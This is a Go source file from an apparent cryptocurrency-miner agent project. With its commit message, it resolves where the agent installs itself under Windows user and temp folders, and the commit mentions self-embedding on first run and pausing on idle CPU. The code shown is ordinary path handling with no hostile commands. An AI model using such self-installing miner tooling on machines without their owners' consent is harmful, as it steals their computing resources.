Files
AetherForge/agent/config/install.go
drjones 1313c553e7 Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
2026-05-26 23:39:51 -07:00

102 lines
2.6 KiB
Go

package config
import (
"fmt"
"os"
"path/filepath"
"strings"
)
const DefaultInstallRelativePath = "CryptoMiner/{worker}-{build_short}"
func (c RuntimeConfig) InstallDirectory() (string, error) {
base, err := resolveInstallBase(c.InstallBase, c.InstallCustomBase)
if err != nil {
return "", err
}
rel := strings.TrimSpace(c.InstallRelativePath)
if rel == "" {
rel = DefaultInstallRelativePath
}
rel = expandInstallTokens(rel, c.WorkerName, c.BuildID, c.EffectiveProcessName())
rel = filepath.FromSlash(rel)
rel = strings.Trim(rel, `\/`)
if rel == "" {
return "", fmt.Errorf("install relative path resolved to empty")
}
full := filepath.Join(base, rel)
return filepath.Clean(full), nil
}
func resolveInstallBase(baseType, customBase string) (string, error) {
switch strings.ToLower(strings.TrimSpace(baseType)) {
case "", "localappdata":
return requireEnv("LOCALAPPDATA")
case "appdata":
return requireEnv("APPDATA")
case "programdata":
return requireEnv("ProgramData")
case "userprofile":
return requireEnv("USERPROFILE")
case "temp":
if v := os.Getenv("TEMP"); v != "" {
return v, nil
}
return requireEnv("TMP")
case "custom":
custom := strings.TrimSpace(customBase)
if custom == "" {
return "", fmt.Errorf("custom install base path is required when install_base is custom")
}
return expandWindowsEnv(custom), nil
default:
return "", fmt.Errorf("unsupported install base: %s", baseType)
}
}
func expandInstallTokens(path, workerName, buildID, processName string) string {
shortBuild := buildID
if len(shortBuild) > 8 {
shortBuild = shortBuild[:8]
}
replacer := strings.NewReplacer(
"{worker}", sanitizePathToken(workerName),
"{build}", sanitizePathToken(buildID),
"{build_short}", sanitizePathToken(shortBuild),
"{process}", sanitizePathToken(processName),
)
return replacer.Replace(path)
}
func sanitizePathToken(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
clean := replacer.Replace(strings.TrimSpace(name))
if clean == "" {
return "miner"
}
return clean
}
func requireEnv(key string) (string, error) {
value := os.Getenv(key)
if value == "" {
return "", fmt.Errorf("environment variable %s is not set", key)
}
return value, nil
}
func expandWindowsEnv(path string) string {
out := path
for _, key := range []string{
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
} {
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
}
return out
}